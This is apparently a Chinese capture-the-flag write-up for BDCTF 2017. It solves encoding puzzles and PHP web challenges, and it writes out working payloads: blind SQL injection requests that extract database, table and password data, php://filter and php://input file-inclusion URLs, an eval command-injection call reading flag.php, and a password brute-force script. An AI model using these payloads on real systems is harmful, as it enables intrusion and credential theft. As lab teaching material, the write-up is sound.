2017/10/14

http://miac.cug.edu.cn/

http://www.yogeit.com/

https://www.bdctf.online/

Crypto

贝斯的一家

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UjFrelJFMVJXbGRIUlRORVQwNHlRMGRaTTBSTlVWcFVSMUV6UkU5T1MwZEhUVmxVUzFKU1ZVZEpXbFJKVGxwVVIxa3lWRXRTVWxkSVJWcFVSMDVMUjBkVk0wUkhUVnBZUjBrelZGTk9TMGRIVFRSVVRWSlNWMGxaTTBSSlRqSkY=

依次base64、base64、base32、base16解码。 flag{fl4g_1_B4se_i3_V3ry_9ood}

颜文字

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 ゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚][゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

aaencode ,在线解混淆 或在 chrome 的console里直接运行即可。其他还有jjencode,ppencode,rrencode等。

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alert("flag{aaencode_f14g_h4h4h4}")

你猜我像啥

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Li0tLS0gLi4tLS0gLi4uLi4gLS4uLi4tIC4uLi4uIC4tLS0tIC0uLi4uLSAtLS0tLiAuLi4uLiAt\nLi4uLi0gLi0tLS0gLS0tLS0gLi0tLS0gLS4uLi4tIC0tLS0uIC4uLi4uIC0uLi4uLSAuLi4uLSAt\nLS0uLiAtLi4uLi0gLS0tLS4gLi4uLi4gLS4uLi4tIC4tLS0tIC0tLS0tIC4tLS0tIC0uLi4uLSAu\nLS0tLSAuLS0tLSAtLS4uLiAtLi4uLi0gLi0tLS0gLi0tLS0gLS4uLi4gLS4uLi4tIC4tLS0tIC4u\nLS0tIC4tLS0tIC0uLi4uLSAuLS0tLSAtLS0tLSAtLS0uLiAtLi4uLi0gLi0tLS0gLi4tLS0gLS0t\nLS0gLS4uLi4tIC4tLS0tIC4tLS0tIC4uLi4tIC0uLi4uLSAuLS0tLSAuLS0tLSAtLS0tLSAtLi4u\nLi0gLi0tLS0gLS0tLS0gLi4uLi0gLS4uLi4tIC4tLS0tIC0tLS0tIC0tLS4uIC0uLi4uLSAuLi4u\nLiAuLS0tLSAtLi4uLi0gLi4uLi4gLi0tLS0gLS4uLi4tIC4tLS0tIC4uLS0tIC4uLi0tIC0uLi4u\nLSAuLS0tLSAuLS0tLSAtLS0tLSAtLi4uLi0gLi0tLS0gLi0tLS0gLi4uLi4=
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from base64 import *
s='Li0tLS0gLi4tLS0gLi4uLi4gLS4uLi4tIC4uLi4uIC4tLS0tIC0uLi4uLSAtLS0tLiAuLi4uLiAt\nLi4uLi0gLi0tLS0gLS0tLS0gLi0tLS0gLS4uLi4tIC0tLS0uIC4uLi4uIC0uLi4uLSAuLi4uLSAt\nLS0uLiAtLi4uLi0gLS0tLS4gLi4uLi4gLS4uLi4tIC4tLS0tIC0tLS0tIC4tLS0tIC0uLi4uLSAu\nLS0tLSAuLS0tLSAtLS4uLiAtLi4uLi0gLi0tLS0gLi0tLS0gLS4uLi4gLS4uLi4tIC4tLS0tIC4u\nLS0tIC4tLS0tIC0uLi4uLSAuLS0tLSAtLS0tLSAtLS0uLiAtLi4uLi0gLi0tLS0gLi4tLS0gLS0t\nLS0gLS4uLi4tIC4tLS0tIC4tLS0tIC4uLi4tIC0uLi4uLSAuLS0tLSAuLS0tLSAtLS0tLSAtLi4u\nLi0gLi0tLS0gLS0tLS0gLi4uLi0gLS4uLi4tIC4tLS0tIC0tLS0tIC0tLS4uIC0uLi4uLSAuLi4u\nLiAuLS0tLSAtLi4uLi0gLi4uLi4gLi0tLS0gLS4uLi4tIC4tLS0tIC4uLS0tIC4uLi0tIC0uLi4u\nLSAuLS0tLSAuLS0tLSAtLS0tLSAtLi4uLi0gLi0tLS0gLi0tLS0gLi4uLi4='
b64decode(s.replace('\n',''))  
#'.---- ..--- ..... -....- ..... .---- -....- ----. ..... -....- .---- ----- .---- -....- ----. ..... -....- ....- ---.. -....- ----. ..... -....- .---- ----- .---- -....- .---- .---- --... -....- .---- .---- -.... -....- .---- ..--- .---- -....- .---- ----- ---.. -....- .---- ..--- ----- -....- .---- .---- ....- -....- .---- .---- ----- -....- .---- ----- ....- -....- .---- ----- ---.. -....- ..... .---- -....- ..... .---- -....- .---- ..--- ...-- -....- .---- .---- ----- -....- .---- .---- .....'
#摩斯密码的解密(https://morsecode.scphillips.com/translator.html)
#=>125-51-95-101-95-48-95-101-117-116-121-108-120-114-110-104-108-51-51-123-110-115
#ASCII码转字符	}3_e_0_eutylxrnhl33{ns
t='125-51-95-101-95-48-95-101-117-116-121-108-120-114-110-104-108-51-51-123-110-115'
tt=''.join(map(lambda x:chr(int(x)),t.split('-')))
#字符串反转  	sn{33lhnrxlytue_0_e_3}
rtt=tt[::-1]
#栅栏密码的解密	synt{u3e3_l0h_ner_x3l}
#凯撒密码解密 	flag{h3r3_y0u_are_k3y}

2017/10/23

WEB

WEB签到

签到,格式bdctf{xxxxx} http://2a8a372c90b9c52b54ac9f85234f6f20.yogeit.com:8080

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 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'bdctf{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['user']) and isset($_POST['pass'])) {
    if ($_GET['user'] == $_POST['pass'])
        print 'pass can not be user.';
    else if (sha1($_GET['user']) === sha1($_POST['pass'])&($_GET['id']=='margin'))
        die('Flag: '.$flag);
    else
        print 'sorry!';
}
?> 

对数组进行哈希会返回null,所以传进去两个数组即可。Flag: bdctf{welcomeBDCTF2017}

命令注入

格式是flag{xxxx} http://c3f534c3e77ef68bda72e406337023fb.yogeit.com:8080

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<?php 
include "flag.php";
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");

直接执行系统命令,system('cat flag.php') 。得到flag为flag{93odcGA47rSRFDG}

这不仅仅是WEB

格式bdctf{xxxxx} http://64fcfc546e0fafb5b4c327cc1eb36ec4.yogeit.com:8080

存在文件读取:

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//index.php
//view-source:http://64fcfc546e0fafb5b4c327cc1eb36ec4.yogeit.com:8080/?page=php://filter/convert.base64-encode/resource=index.php
<?php
$file = $_GET["page"];
if( isset( $file ) )
	include( $file );
else {
	header( 'Location:?page=include.php' );
	exit;
}
?>
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//include.php
//view-source:http://64fcfc546e0fafb5b4c327cc1eb36ec4.yogeit.com:8080/?page=php://filter/convert.base64-encode/resource=include.php
<?php
echo'
<html>
<body>
<p align="center">
<font size="20">
<b>File Include</b>
</font>
</p>
<br>
<p align="center"><img src="photo.jpg"></p>
<br>
<br>
<br>
<font color="white">文件格式为文本格式</font>
</body>
</html>'
?>

访问不了惹。

MISC

MISC签到题

R1kzRE1RWldHRTNET04yQ0dZWkRHTVpXR0kzRElNWldHTVlUR01CVEdJWlRHTlJVR01ZVEdNUlRIRTNETU1aWkdZMlRHTVpUSEUzREVNWlVHWVlUR01SVEdZM0RFTVpaR000RE1NWlRHQTNETU1aVEdNM0RHTlJYSVE9PT09PT0=

先base64解码,再base32解码,然后十六进制转ASCII码,得到flag为flag{b3bd61023d129f9e39b4a26b98c0f366}

常规杂项

在文件末尾发现提示Password:Bluedon[0-9]{8} ,写python脚本生成字典,binwalk -e 提取出压缩包,使用ziperello爆破得到密码为Bluedon47632601,解压后还是一个压缩包,但应该是伪加密,用notepad++打开即可看到flag为flag{Aha!_Y0u_9Ot_i7}

队友使用了ARCHPR掩码爆破,方便很多。

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import itertools
s0 = 'Bluedon'
p = '0123456789'
f = open('normalpass.txt', 'w+')
passwd = ''
for i in itertools.product(p, p, p, p, p, p, p, p):
    passwd = s0 + ''.join(i)
    f.write(passwd)

就在眼前

就在眼前 恩,如题。格式BDCTF{xxxxx}

flag=E5=80=BC=E5=B0=B1=E5=9C=A8=E6=AD=A4=E6=96=87=E6=A1=A3=E4=B8=AD=EF=BC=8C=E5=B9=B6=E4=B8=94=E4=BD=BF=E7=94=A8=E4=BA=86=E6=96=87=E6=9C=AC=E9=9A=90=E8=97=8F=E6=8A=8A=E8=87=AA=E5=B7=B1=E9=9A=90=E8=97=8F=E8=B5=B7=E6=9D=A5=E4=BA=86=E3=80=82=0A=E6=98=BE=E7=A4=BA=E5=87=BA=E9=9A=90=E8=97=8F=E6=96=87=E6=9C=AC=E5=8D=B3=E5=8F=AF

使用了Quoted Printable encode,在线解码 可知隐藏了flag,让其显示即可。BDCTF{Y0u_4Re_5ucCe5SFul}

队友将文件另存为XML,打开也可见flag。


2017/10/30

web

签到题

更大的数,格式bdctf{xxx} http://1ccb637956167fe75634730d3d5e9d71.yogeit.com:8080

修改表单长度限制。bdctf{s0m2thing_ju8t_1ik2_thi8}

简单的题

格式flag{xxxx} http://f944ecfceaddb11ec591f23738496e52.yogeit.com:8080

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if(isset($_POST['password'])) {
    if (strcmp($_POST['password'], $flag) == 0)
        die($flag);
    else
        echo "密码不正确!";
}

post一个数组 password[]= 即可。flag{Y0u_4re_G3t_FLAG_452}

WEB100-2

提示是?hint,格式是flag{xxxx} http://78a06773a04246464d8eeadd2cdf28af.yogeit.com:8080

根据提示访问http://127.0.0.1/ctfoj/bdctf.php?hint 得到源码。 带上Cookie: BDCTF=s:21:"BDCTF:www.bluedon.com"%3b 即可得到flag{pBXeeZdOkG1QTP1} 。cookie中的分号要url编码一下。

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<?php  
error_reporting(0);  
$KEY='BDCTF:www.bluedon.com';  
include_once("flag.php");  

$cookie = $_COOKIE['BDCTF'];  

if(isset($_GET['hint'])){  
    show_source(__FILE__);  
}  
elseif (unserialize($cookie) === "$KEY")  
{     
    echo "$flag";  
}  
else {  foo

蓝盾管理员

you are not bd-admin,格式bdctf{xxx} http://2a8da10821f39ea335a12fba77f7c3fc.yogeit.com:8080

访问view-source:http://2a8da10821f39ea335a12fba77f7c3fc.yogeit.com:8080/?file=php://filter/convert.base64-encode/resource=flag.php&user=php://input 同时post the user is bdadmin 得到bd-admin!<br>PD9waHAgIA0KLy9iZGN0ZntMZmlfQW5EX01vcmV9ICANCj8+ ,解码后得到bdctf{Lfi_AnD_More}

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//index.php
<!--  
@$user = $_GET["user"];  
@$file = $_GET["file"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="the user is bdadmin")){  
    echo "hello bd-admin!<br>";  
	include($file); //flag.php  
}else{  
    echo "you are not bd-admin ! ";  
}  
 -->  

送大礼

格式bdctf{xxx} http://04c432a12784d2fb5ef431ec3366bc9a.yogeit.com:8080

访问 http://04c432a12784d2fb5ef431ec3366bc9a.yogeit.com:8080/flag.txt 有jsfuck,解开 后内容如下:

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extract($_GET);  
if(isset($bdctf))  
{      
  $content=trim(file_get_contents($flag));
  if($bdctf==$content)
  {
    echo'bdctf{**********}';
  }    else
  { 
    echo'这不是蓝盾的密码啊';
  } 
}

访问 http://04c432a12784d2fb5ef431ec3366bc9a.yogeit.com:8080/?bdctf=foo&flag=php://input 同时post foo 得到bdctf{UCCdlsZyVe}

火星撞地球

flag{1q2w3e4r} 密码就是答案,格式flag{xxxx} http://eef6f0186546043da56bf4c7f7e6d3ca.yogeit.com:8080

获取当前数据库名member

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name=admin%27%20and%20(ASCII(MID((database()),6,1)))=114%23&password=%27%20or%201&submit2=%E4%BC%9A%E5%91%98%E7%99%BB%E5%BD%95

当前数据库只有一个表

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name=admin%27%20and%20(ASCII(MID((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1)))=49%23&password=%27%20or%201&submit2=%E4%BC%9A%E5%91%98%E7%99%BB%E5%BD%95

当前表名为member

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name=admin%27%20and%20(ASCII(MID((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),7,1)))>0%23&password=%27%20or%201&submit2=%E4%BC%9A%E5%91%98%E7%99%BB%E5%BD%95

当前表有四条记录

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name=admin%27%20and%20(ASCII(MID((select%20count(*)%20from%20member),1,1)))=52%23&password=%27%20or%201&submit2=%E4%BC%9A%E5%91%98%E7%99%BB%E5%BD%95

得到列名’id,member_user,member_password,member_name,。。。'

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name=admin%27%20and%20(ASCII(MID((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema='member'),44,1)))>44%23&password=%27%20or%201&submit2=%E4%BC%9A%E5%91%98%E7%99%BB%E5%BD%95

查询密码字段 burp爆破得到'5416d7cd6ef195a0f7622a9c56b55e84’,即'1q2w3e4r’。

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name=admin%27%20and%20(ASCII(MID((select%20member_password%20from%20member%20where%20member_user='admin'),1,1)))=53%23&password=%27%20or%201&submit2=%E4%BC%9A%E5%91%98%E7%99%BB%E5%BD%95

最后flag为flag{1q2w3e4r}

密室杀人案[x]

格式bdctf{xxxx} http://417c9d88ead6809efb1d310fe6832f56.yogeit.com:8080

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bdctf--密室谋杀案
这是一场发生在PHP序列化密室里面的谋杀案,今日这里发生了一起密室谋杀案,有一个名叫flag的人被杀害。案发现场发生在这个家里面,然而flag他的尸体被嫌疑人藏匿了起来,无法获得更多被害人的信息。 作案的嫌疑人在这个屋子里面,在这屋子里面的人有三兄弟和一个侦探 ,三兄弟中老大Ford权威最高,其他兄弟都在它的保护下生活,因为三兄弟的勤劳勇敢也经常被其他人调去工作任劳任怨。二哥Walker性格生性好动,喜欢结交朋友也经常找老三帮忙。 老三David为人老实憨厚,和二哥关系最好却有一天因为某件事情离开了这个家,成立了另外一个家。还有就是侦探,侦探wesley他案发当天也在现场,他似乎知道些什么但似乎迫于某种压力没有说出凶手是谁。 只要你收集足够多三兄弟的信息给wesley,相信他会说出真相。

bluedon用户[x]

格式,bdctf{xxxxx} http://11537c131de3f8b2060b36c0cf7eb083.yogeit.com:8080

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//index.php
you are not bluedon ! 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is bluedon")){
    echo "hello bluedon!<br>";
    include($file); //class.php
}else{
    echo "you are not bluedon ! ";
}
 -->
   
//class.php
//view-source:http://11537c131de3f8b2060b36c0cf7eb083.yogeit.com:8080/?file=php://filter/convert.base64-encode/resource=class.php&user=php://input

the user is bluedon
<?php
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "恭喜get flag";
    }
}
?>